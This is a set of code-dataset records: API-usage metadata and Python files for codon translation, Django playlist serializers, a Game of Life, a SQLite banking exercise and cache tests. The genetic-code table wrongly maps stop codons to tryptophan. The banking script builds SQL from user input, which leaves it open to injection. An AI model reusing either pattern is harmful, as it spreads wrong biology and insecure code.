56, "usage_type": "call"}, {"api_name": "t_alg.mttcrp1", "line_number": 66, "usage_type": "call"}, {"api_name": "t_alg.mttcrp1", "line_number": 67, "usage_type": "call"}, {"api_name": "t_alg.mttcrp1", "line_number": 68, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 85, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 93, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 94, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 96, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 97, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 98, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 99, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 101, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 117, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 119, "usage_type": "attribute"}, {"api_name": "torch.nn.BCELoss", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 127, "usage_type": "attribute"}, {"api_name": "elementwise_grads.bernoulli_logit_loss", "line_number": 132, "usage_type": "name"}, {"api_name": "elementwise_grads.bernoulli_logit_loss_grad", "line_number": 133, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 142, "usage_type": "attribute"}, {"api_name": "t_alg.indices_to_multi_ind", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 146, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 147, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 149, "usage_type": "attribute"}, {"api_name": "torch.empty", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.nn.init.xavier_normal_", "line_number": 158, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 159, "usage_type": "call"}, {"api_name": "torch.empty", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.nn.init.xavier_normal_", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 165, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 166, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.StepLR", "line_number": 167, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 171, "usage_type": "call"}, {"api_name": "samplings.generate_data", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 176, "usage_type": "attribute"}, {"api_name": "general_functions1.hr", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 202, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 203, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 204, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 205, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 208, "usage_type": "attribute"}, {"api_name": "general_functions1.hr", "line_number": 255, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 258, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 259, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 260, "usage_type": "call"}]} {"seq_id": "8194277030", "text": "import json\n\njson_path = '/data/yujie/Ebert/pre_dataset.json'\n# 密码子-氨基酸对照表\ncodon_to_amino_acid = {\n 'TTT':'F','TTC':'F','TTA':'L','TTG':'L','CTT':'L','CTC':'L','CTA':'L','CTG':'L',\n 'ATT':'I','ATC':'I','ATA':'I','ATG':'M','GTT':'V','GTC':'V','GTA':'V','GTG':'V',\n 'TCT':'S','TCC':'S','TCA':'S','TCG':'S','CCT':'P','CCC':'P','CCA':'P','CCG':'P',\n 'ACT':'T','ACC':'T','ACA':'T','ACG':'T','GCT':'A','GCC':'A','GCA':'A','GCG':'A',\n 'TAT':'Y','TAC':'Y','TAA':'W','TAG':'W','CAT':'H','CAC':'H','CAA':'Q','CAG':'Q',\n 'AAT':'N','AAC':'N','AAA':'K','AAG':'K','GAT':'D','GAC':'D','GAA':'E','GAG':'E',\n 'TGT':'C','TGC':'C','TGA':'W','TGG':'W','CGT':'R','CGC':'R','CGA':'R','CGG':'R',\n 'AGT':'S','AGC':'S','AGA':'R','AGG':'R','GGT':'G','GGC':'G','GGA':'G','GGG':'G'\n}\n\ncomplement_dict = {'a': 't', 't': 'a', 'c': 'g', 'g': 'c'}\n\n# 翻译基因序列到氨基酸序列\ndef translate_gene_to_amino(gene_seq):\n amino_seq = ''\n for i in range(0, len(gene_seq), 3):\n codon = gene_seq[i:i+3].upper()\n amino_acid = codon_to_amino_acid.get(codon, '')\n if amino_acid: # 忽略终止密码子\n amino_seq += amino_acid\n return amino_seq\n\n# 将翻译后不符合标准的基因序列A-T,G-C对调\ndef complement_gene(gene):\n complement_sequence = ''.join(complement_dict[base] for base in gene)\n return complement_sequence\n\n# 判断两个字符串不同的个数\ndef diff(str1, str2):\n # 判断字符串长度是否相等\n if len(str1) != len(str2):\n return 1000\n\n # 统计不同字符的个数\n diff_count = sum(1 for char1, char2 in zip(str1, str2) if char1 != char2)\n\n return diff_count\n\n# 检查并修正序列\ndef check_and_correct_sequence(pdb_data, pdb_id, wrong_data):\n gene_seq = pdb_data['gene seq']\n translated_amino_seq = translate_gene_to_amino(gene_seq)\n original_amino_seq = pdb_data['amino seq']\n diff_num = diff(translated_amino_seq, original_amino_seq)\n\n if diff_num <= 5:\n return 0,0# 序列匹配，不需要修正\n else:\n # 尝试反译基因序列并重新翻译\n complement_gene_seq = complement_gene(gene_seq)\n complement_translated_amino_seq = translate_gene_to_amino(complement_gene_seq)\n diff_num = diff(complement_translated_amino_seq,original_amino_seq)\n if diff_num <= 10:\n pdb_data['gene seq'] = complement_gene_seq # 更新为翻转后的基因序列\n pdb_data['amino seq'] = complement_translated_amino_seq\n\n return complement_gene_seq, complement_translated_amino_seq\n else:\n wrong_data.append(pdb_id) # 序列仍不匹配，记录PDB ID\n return 1,1\n\n# 加载数据\nwith open(json_path, 'r') as file:\n data = json.load(file)\n\n# 记录错误数据的PDB ID\nwrong_data = []\n# 检查并更新数据集\nfor pdb_id, pdb_data in data.items():\n gene_seq, amino_seq = check_and_correct_sequence(pdb_data, pdb_id, wrong_data)\n\nfor id in wrong_data:\n data.pop(id)\n\n# 写入更新后的数据集\nwith open('pre_dataset_corrected.json', 'w') as file:\n json.dump(data, file, indent=3)\n\n# 将错误数据的PDB ID写入文件\nwith open('wrong_data.txt', 'w') as file:\n for item in wrong_data:\n file.write(\"%s\\n\" % item)\n", "repo_name": "20375380/ECODON", "sub_path": "Process2.py", "file_name": "Process2.py", "file_ext": "py", "file_size_in_byte": 3273, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "json.load", "line_number": 69, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 82, "usage_type": "call"}]} {"seq_id": "38148559697", "text": "from . import get_env_variable\nfrom art import tprint\n\nSECRET_KEY = get_env_variable(\"SECRET\")\nTEST = get_env_variable(\"TEST\")\n\n# ----------------------------------------------\n\nDEBUG = True\nROOT_URLCONF = 'settings.urls'\nWSGI_APPLICATION = 'settings.wsgi.application'\n\n# ----------------------------------------------\n\nEMAIL_USE_TLS = True\nEMAIL_HOST = get_env_variable(\"EMAIL_HOST\")\nEMAIL_HOST_USER = get_env_variable(\"EMAIL_USERNAME\")\nEMAIL_HOST_PASSWORD = get_env_variable(\"EMAIL_PASSWORD\")\nEMAIL_PORT = get_env_variable(\"EMAIL_PORT\")\n\n# ---------------------------------------------\n\nREDIS_HOST = '0.0.0.0'\nREDIS_PORT = '6379'\n\n# ----------------------------------------------\n\nCELERY_BROKER_URL = f'redis://{REDIS_HOST}:{REDIS_PORT}/0'\nCELERY_BROKER_TRANSPORT_OPTIONS = {'visibility_timeout': 3600}\nCELERY_RESULT_BACKEND = f'redis://{REDIS_HOST}:{REDIS_PORT}/0'\nCELERY_ACCEPT_CONTENT = ['application/json']\nCELERY_TASK_SERIALIZER = 'json'\nCELERY_RESULT_SERIALIZER = 'json'\n\n\n\n\ntprint(TEST)", "repo_name": "TheZhenok/spam_api", "sub_path": "settings/conf.py", "file_name": "conf.py", "file_ext": "py", "file_size_in_byte": 996, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "art.tprint", "line_number": 38, "usage_type": "call"}]} {"seq_id": "13975404575", "text": "from django.db.models import Count\nfrom rest_framework import serializers\nfrom rest_framework.validators import UniqueValidator, UniqueTogetherValidator\n\nfrom utils.utils import CurrentUserDefault\nfrom .models import PlayList, Tag, Song, PlayListFav\nfrom song.serializers import SongListSerializer\n\n\nclass TagSerializer(serializers.ModelSerializer):\n times = serializers.SerializerMethodField(read_only=True)\n\n def get_times(self, obj):\n queryset = Tag.objects.filter(name=obj.name)\n tags = queryset.annotate(times=Count('playlist_tag'))\n\n return tags[0].times\n\n class Meta:\n model = Tag\n fields = \"__all__\"\n\n\nclass PlayListDetailSerializer(serializers.ModelSerializer):\n tags = serializers.SerializerMethodField()\n tracks = serializers.SerializerMethodField(label=\"歌曲目录\")\n\n def get_tags(self, obj):\n return [tag.name for tag in obj.tags.all()]\n\n def get_tracks(self, obj):\n return SongListSerializer(obj.tracks, many=True, context={'request': self.context['request']}).data\n\n class Meta:\n model = PlayList\n fields = \"__all__\"\n read_only_fields = ('creator', 'tags', 'creator', 'lid')\n\n\nclass PlayListSerializer(serializers.ModelSerializer):\n \"\"\"关于歌单的序列化函数\"\"\"\n\n lid = serializers.IntegerField(label='ID', validators=[UniqueValidator(queryset=PlayList.objects.all())],\n help_text='空的话， 就是自增序列', required=False)\n tags = serializers.SerializerMethodField()\n stags = serializers.CharField(label=\"歌单标签的字符串\", help_text='中间用空格隔开', write_only=True, required=False)\n tracks = serializers.PrimaryKeyRelatedField(queryset=Song.objects.all(), many=True, required=False,\n allow_empty=True, allow_null=True)\n song = serializers.CharField(write_only=True, required=False)\n\n def get_tags(self, obj):\n return [tag.name for tag in obj.tags.all()]\n\n class Meta:\n model = PlayList\n fields = \"__all__\"\n read_only_fields = ('creator', 'tags', 'lid')\n\n def create(self, validated_data):\n tags = validated_data.pop('stags', '')\n playlist = super().create(validated_data)\n playlist.tags.set(get_tag_list(tags))\n\n # 记录创建用户\n user = self.context['request'].myuser\n playlist.creator = user.username\n playlist.save()\n\n return playlist\n\n def update(self, instance, validated_data):\n tags = validated_data.pop('stags', '')\n song = validated_data.pop('song', '')\n\n playlist = super().update(instance, validated_data)\n if tags:\n playlist.tags.set(get_tag_list(tags))\n if song:\n try:\n playlist.tracks.add(song)\n except Exception as e:\n print(\"不存在的歌曲：\" + song + str(e))\n\n return playlist\n\n\ndef get_tag_list(tags):\n tag_list = []\n\n try:\n for tag in tags.split(' '):\n if tag:\n tag, created = Tag.objects.update_or_create(name=tag)\n tag_list.append(tag)\n except Exception as e:\n tag_list = []\n print(e)\n return tag_list\n\n\nclass PlaylistFavSerializer(serializers.ModelSerializer):\n \"\"\"用户收藏的序列化函数\"\"\"\n\n username = serializers.HiddenField(\n default=CurrentUserDefault()\n )\n playlist = PlayListSerializer()\n\n class Meta:\n model = PlayListFav\n fields = ('username', 'playlist', 'id')\n\n def to_representation(self, instance):\n ret = super().to_representation(instance)\n # check the request is list view or detail view\n # is_list_view = isinstance(self.instance, list)\n # extra_ret = {'key': 'list value'} if is_list_view else {'key': 'single value'}\n\n extra_ret = {}\n for key in ret['playlist'].keys():\n extra_ret[key] = ret['playlist'][key]\n\n extra_ret['fid'] = ret['id']\n\n ret.update(extra_ret)\n\n del ret['id']\n del ret['playlist']\n return ret\n\n\nclass PlaylistFavCreateSerializer(serializers.ModelSerializer):\n \"\"\"用户收藏的序列化函数\"\"\"\n\n username = serializers.HiddenField(\n default=CurrentUserDefault()\n )\n\n class Meta:\n model = PlayListFav\n\n fields = ('username', 'playlist', 'id')\n validators = [\n UniqueTogetherValidator(\n queryset=PlayListFav.objects.all(),\n fields=('username', 'playlist'),\n message=\"已经收藏\"\n )\n ]\n", "repo_name": "dgut-group-ten/song", "sub_path": "apps/playlist/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 4628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 10, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 10, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 11, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 11, "usage_type": "name"}, {"api_name": "models.Tag.objects.filter", "line_number": 14, "usage_type": "call"}, {"api_name": "models.Tag.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "models.Tag", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.Count", "line_number": 15, "usage_type": "call"}, {"api_name": "models.Tag", "line_number": 20, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 24, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 24, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 25, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 25, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 26, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 26, "usage_type": "name"}, {"api_name": "song.serializers.SongListSerializer", "line_number": 32, "usage_type": "call"}, {"api_name": "models.PlayList", "line_number": 35, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 40, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 40, "usage_type": "name"}, {"api_name": "rest_framework.serializers.IntegerField", "line_number": 43, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 43, "usage_type": "name"}, {"api_name": "rest_framework.validators.UniqueValidator", "line_number": 43, "usage_type": "call"}, {"api_name": "models.PlayList.objects.all", "line_number": 43, "usage_type": "call"}, {"api_name": "models.PlayList.objects", "line_number": 43, "usage_type": "attribute"}, {"api_name": "models.PlayList", "line_number": 43, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 45, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 45, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 46, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 46, "usage_type": "name"}, {"api_name": "rest_framework.serializers.PrimaryKeyRelatedField", "line_number": 47, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 47, "usage_type": "name"}, {"api_name": "models.Song.objects.all", "line_number": 47, "usage_type": "call"}, {"api_name": "models.Song.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "models.Song", "line_number": 47, "usage_type": "name"}, {"api_name": "song.serializers", "line_number": 49, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 49, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 49, "usage_type": "name"}, {"api_name": "models.PlayList", "line_number": 55, "usage_type": "name"}, {"api_name": "song.serializers", "line_number": 73, "usage_type": "name"}, {"api_name": "song.serializers", "line_number": 78, "usage_type": "name"}, {"api_name": "song.serializers", "line_number": 80, "usage_type": "argument"}, {"api_name": "song.serializers", "line_number": 82, "usage_type": "name"}, {"api_name": "models.Tag.objects.update_or_create", "line_number": 93, "usage_type": "call"}, {"api_name": "models.Tag.objects", "line_number": 93, "usage_type": "attribute"}, {"api_name": "models.Tag", "line_number": 93, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 101, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 101, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HiddenField", "line_number": 104, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 104, "usage_type": "name"}, {"api_name": "utils.utils.CurrentUserDefault", "line_number": 105, "usage_type": "call"}, {"api_name": "models.PlayListFav", "line_number": 110, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 132, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 132, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HiddenField", "line_number": 135, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 135, "usage_type": "name"}, {"api_name": "utils.utils.CurrentUserDefault", "line_number": 136, "usage_type": "call"}, {"api_name": "models.PlayListFav", "line_number": 140, "usage_type": "name"}, {"api_name": "rest_framework.validators.UniqueTogetherValidator", "line_number": 144, "usage_type": "call"}, {"api_name": "models.PlayListFav.objects.all", "line_number": 145, "usage_type": "call"}, {"api_name": "models.PlayListFav.objects", "line_number": 145, "usage_type": "attribute"}, {"api_name": "models.PlayListFav", "line_number": 145, "usage_type": "name"}]} {"seq_id": "25918595634", "text": "from collections import namedtuple, Counter\nimport time\nimport random\nimport sys\n\nCell = namedtuple('Cell', ['x', 'y'])\nX = 10\nY = 10\n\n# Constants\nWHITE_SPACE = u\"\\u25A1\"\nFILLED_SPACE = u\"\\u25A0\"\nCLEAR_SCREEN = \"\\033[2J\\033[1;1H\"\nNEW_LINE = '\\n'\n\n\ndef get_neighbor_cells(cell, is_bounded=True):\n \"\"\"\n This is a generator function that yields results of the neighbors\n :param cell: named tuple\n :param is_bounded: boolean default to True\n \"\"\"\n for y in range(cell.y - 1, cell.y + 2):\n for x in range(cell.x - 1, cell.x + 2):\n if (x, y) != (cell.x, cell.y):\n # Handling for the bounded option\n if is_bounded:\n if (0 <= x <= X) and (0 <= y <= Y):\n yield Cell(x, y)\n else:\n yield Cell(x, y)\n\n\ndef get_neighbor_count(board, is_bounded=True):\n\n \"\"\"\n This is the most important function of the program to check each alive cell to find neighbors\n :param board: set with named tuples\n :param is_bounded: boolean default to True\n :return: a Count object with counts for each named tuple\n \"\"\"\n neighbor_counts = Counter()\n for cell in board:\n for neighbor in get_neighbor_cells(cell, is_bounded):\n neighbor_counts[neighbor] += 1\n\n return neighbor_counts\n\n\ndef generate_next_board(board):\n \"\"\"\n Generate the next board based on the neighbor counts from alive cells\n :param board: set with named tuples\n :return: a new set with the alive cells\n \"\"\"\n new_board = set()\n neighbors = get_neighbor_count(board)\n for cell, count in neighbors.items():\n \"\"\"\n Game rules:\n A cell generates if it has three neighbors\n An alive cell remains if it has two neighbors\n \"\"\"\n if count == 3 or (cell in board and count == 2):\n new_board.add(cell)\n\n return new_board\n\n\ndef generate_initial_board(X=10, Y=10):\n\n \"\"\"\n Generates the intial set for the board\n :param X: positive integer\n :param Y: positive integer\n :return: set with named tuples\n \"\"\"\n board = set()\n for row in range(Y):\n for column in range(X):\n if random.randrange(2) == 1:\n board.add(Cell(int(column), int(row)))\n\n return board\n\n\ndef board_to_display(board, column, row):\n \"\"\"\n Makes a string for display on the console\n :param board: set with named tuples\n :param column: positive integer\n :param row: positive integer\n :return: string with whitespace stripped\n \"\"\"\n board_string = \"\"\n\n for y in range(row):\n for x in range(column):\n if Cell(x, y) in board:\n board_string += FILLED_SPACE\n else:\n board_string += WHITE_SPACE\n\n board_string += NEW_LINE\n\n return board_string.strip()\n\n\nif __name__ == '__main__':\n\n try:\n X = int(sys.argv[1])\n Y = int(sys.argv[2])\n\n time.sleep(5)\n\n if X <= 2 or Y <= 2:\n raise ValueError\n\n\n except IndexError:\n X = 10\n Y = 10\n print(\"No values entered. Using default values of {} and {}\".format(X, Y))\n time.sleep(1)\n\n except ValueError:\n\n try:\n print(\"Acceptable values are positive integers greater than 1!\")\n X = int(input(\"Enter the number of columns: \"))\n Y = int(input(\"Enter the number of rows: \"))\n\n if X <= 2 or Y <= 2:\n raise ValueError\n\n except ValueError:\n print(\"You tried! The system will pick now\")\n time.sleep(1)\n X = random.randrange(25)\n Y = random.randrange(25)\n\n f = generate_initial_board(X, Y)\n is_bounded = True\n\n for generations in range(20):\n f = generate_next_board(f)\n\n print(CLEAR_SCREEN)\n\n print(board_to_display(f, X, Y))\n\n time.sleep(0.1)\n", "repo_name": "atbPy/GameOfLife", "sub_path": "game.py", "file_name": "game.py", "file_ext": "py", "file_size_in_byte": 3891, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "collections.namedtuple", "line_number": 6, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 42, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 81, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 112, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 113, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 115, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 125, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 139, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 140, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 141, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 153, "usage_type": "call"}]} {"seq_id": "28728115032", "text": "# Write your code here\nimport random\nimport sqlite3\n\n\nclass BankAccount:\n def __init__(self, *args, **kwargs):\n if args:\n self.account_number = args[0][1]\n self.pin = args[0][2]\n self.balance = args[0][3]\n elif kwargs:\n print(kwargs)\n else:\n temp_account = \"400000\" + \"{:09d}\".format(random.randint(0, 999999999))\n all_n = 0.0\n for i in range(len(temp_account)):\n if (i + 1) % 2 == 1:\n temp = int(temp_account[i])*2\n else:\n temp = int(temp_account[i])\n if temp > 9:\n temp -= 9\n all_n += temp\n check_sum = 10 - (all_n % 10)\n if check_sum == 10:\n check_sum -= 10\n\n self.account_number = temp_account + \"{:01d}\".format(int(check_sum))\n self.pin = \"{:04d}\".format(random.randint(0, 9999))\n self.balance = 0\n\n def get_account_number(self):\n return self.account_number\n\n def get_pin(self):\n return self.pin\n\n def get_balance(self):\n return self.balance\n\n def add_income(self, income):\n self.balance += income\n\n def transfer_out(self, amount):\n if amount > self.balance:\n return False\n else:\n self.balance -= amount\n return True\n\n\ndef luhn_algorithm(card_number):\n all_n = 0\n for i in range(len(card_number)):\n if (i + 1) % 2 == 1:\n temp = int(card_number[i]) * 2\n else:\n temp = int(card_number[i])\n if temp > 9:\n temp -= 9\n all_n += temp\n if all_n % 10 == 0:\n return True\n else:\n return False\n\n\nrandom.seed()\naccounts = dict()\n\nconn = sqlite3.connect('card.s3db')\ncur = conn.cursor()\n\ncur.execute('''CREATE TABLE IF NOT EXISTS card(\n id INTEGER,\n number TEXT,\n pin TEXT,\n balance INTEGER DEFAULT 0)''')\nconn.commit()\n\n\nrunning = True\nwhile running:\n print(\"1. Create an account\")\n print(\"2. Log into account\")\n print(\"0. Exit\")\n user_input = int(input())\n if user_input == 1:\n unique_account = False\n while not unique_account:\n account = BankAccount()\n cur.execute('''\n SELECT EXISTS(\n SELECT * FROM card\n WHERE\n number = {account_n}\n )'''.format(account_n=account.get_account_number()))\n status = cur.fetchone()[0]\n if not status:\n accounts[account.get_account_number()] = account\n print(\"Your card has been created\")\n print(\"Your card number:\")\n print(account.get_account_number())\n print(\"Your card PIN:\")\n print(account.get_pin())\n unique_account = True\n cur.execute('''\n SELECT MAX(id) FROM card''')\n entries = cur.fetchone()[0]\n if not entries:\n print(entries)\n entries = 0\n cur.execute('''\n INSERT INTO card\n (id, number, pin, balance)\n VALUES\n ({0},{1},{2},{3});\n '''.format(entries+1, account.get_account_number(), account.get_pin(), 0))\n conn.commit()\n elif user_input == 2:\n print(\"Enter your card number:\")\n user_account_n = input()\n print(\"Enter your PIN:\")\n user_pin = input()\n # Search thorough the database for the account\n cur.execute('''\n SELECT id, number, pin, balance\n FROM card\n WHERE\n number='{account_in}' AND\n pin='{pin_in}' '''.format(account_in=user_account_n, pin_in=user_pin))\n account_out = cur.fetchone()\n if not account_out:\n print(\"Wrong card number or pin\")\n else:\n account = BankAccount(account_out)\n print(\"You have logged in successfully\")\n logged_in = True\n while logged_in:\n print(\"1. Balance\")\n print(\"2. Add income\")\n print(\"3. Do transfer\")\n print(\"4. Close account\")\n print(\"5. Log out\")\n print(\"0. Exit\")\n user_input = int(input())\n if user_input == 1:\n print(account.get_balance())\n elif user_input == 2:\n print(\"Enter income:\")\n user_input = int(input())\n account.add_income(user_input)\n cur.execute('''UPDATE card\n SET\n balance={new_balance}\n WHERE\n number='{account_in}'\n AND pin='{pin_in}'\n '''.format(account_in=account.get_account_number(), new_balance=int(account.get_balance()),\n pin_in=account.get_pin()))\n conn.commit()\n print(\"Income added\")\n elif user_input == 3:\n print(\"Transfer\")\n print(\"Enter card number\")\n account_in = input()\n if luhn_algorithm(account_in):\n if account_in == account.get_account_number():\n print(\"You can't transfer money to the same account!\")\n else:\n cur.execute('''\n SELECT EXISTS(\n SELECT * FROM\n card\n WHERE\n number = {transfer_account}\n )'''.format(transfer_account=account_in))\n status = cur.fetchone()[0]\n if status:\n print(\"Enter how much money you want to transfer:\")\n transfer_amount = int(input())\n if account.transfer_out(transfer_amount):\n cur.execute('''\n SELECT balance FROM card\n WHERE\n number = {transfer_account}'''.format(transfer_account=account_in))\n temp_balance = cur.fetchone()[0]\n temp_balance += transfer_amount\n cur.execute('''\n UPDATE card\n SET balance = {new_balance}\n WHERE\n number = {transfer_account}'''.format(new_balance=temp_balance,\n transfer_account=account_in))\n conn.commit()\n cur.execute('''UPDATE card\n SET\n balance={new_balance}\n WHERE\n number='{account_in}'\n AND pin='{pin_in}'\n '''.format(account_in=account.get_account_number(),\n new_balance=int(account.get_balance()),\n pin_in=account.get_pin()))\n conn.commit()\n print(\"Success!\")\n else:\n print(\"Not enough money!\")\n else:\n print(\"Such a card does not exist\")\n else:\n print(\"Probably you made a mistake in the card number. Please try again!\")\n elif user_input == 4:\n cur.execute('''\n DELETE FROM card\n WHERE\n number = {delete_account}'''.format(delete_account=account.get_account_number()))\n print(\"The account has been closed.\")\n conn.commit()\n logged_in = False\n elif user_input == 5:\n logged_in = False\n elif user_input == 0:\n logged_in = False\n running = False\n elif user_input == 0:\n running = False\nprint(\"Bye!\")\nconn.close()\n", "repo_name": "ohall1/SimpleBankingSystem", "sub_path": "banking.py", "file_name": "banking.py", "file_ext": "py", "file_size_in_byte": 8613, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "random.randint", "line_number": 15, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 30, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 69, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 72, "usage_type": "call"}]} {"seq_id": "37695396916", "text": "import os\nimport unittest\nimport tempfile\nimport shutil\nimport uuid\nimport time\nfrom pathlib import Path\nfrom typing import Optional\n\nimport pluca\nimport pluca.file\nfrom pluca.test import CacheTester\n\n\nclass TestFile(CacheTester, unittest.TestCase):\n\n def setUp(self) -> None:\n self._dir: Optional[Path] = Path(\n tempfile.mkdtemp(prefix='pluca-file-test'))\n\n def tearDown(self) -> None:\n if self._dir is not None:\n shutil.rmtree(self._dir)\n self._dir = None\n\n def get_cache(self) -> pluca.Cache:\n return pluca.file.Cache(name='test', cache_dir=self._dir)\n\n def test_flush_empties_dir(self) -> None:\n cache = self.get_cache()\n key1 = uuid.uuid4()\n key2 = uuid.uuid4()\n cache.put(key1, 'value1')\n cache.put(key2, 'value2')\n cache.flush()\n self.assertEqual(len(os.listdir(self._dir)), 1)\n\n def _count_files(self, path: Optional[Path]) -> int:\n assert path is not None\n\n nr = 0\n for entry in path.iterdir():\n if entry.is_dir():\n nr += self._count_files(path / entry)\n else:\n nr += 1\n return nr\n\n def test_gc(self) -> None:\n cache = self.get_cache()\n key1 = uuid.uuid4()\n key2 = uuid.uuid4()\n cache.put(key1, 'value1')\n cache.put(key2, 'value2', 1) # NB: expires in 1 second.\n time.sleep(1)\n cache.gc()\n self.assertEqual(self._count_files(self._dir), 1)\n", "repo_name": "flaviovs/pluca", "sub_path": "tests/test_file.py", "file_name": "test_file.py", "file_ext": "py", "file_size_in_byte": 1507, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pluca.test.CacheTester", "line_number": 15, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 15, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 18, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 18, "usage_type": "name"}, {"api_name": "tempfile.mkdtemp", "line_number": 19, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 23, "usage_type": "call"}, {"api_name": "pluca.file.Cache", "line_number": 27, "usage_type": "call"}, {"api_name": "pluca.file", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pluca.Cache", 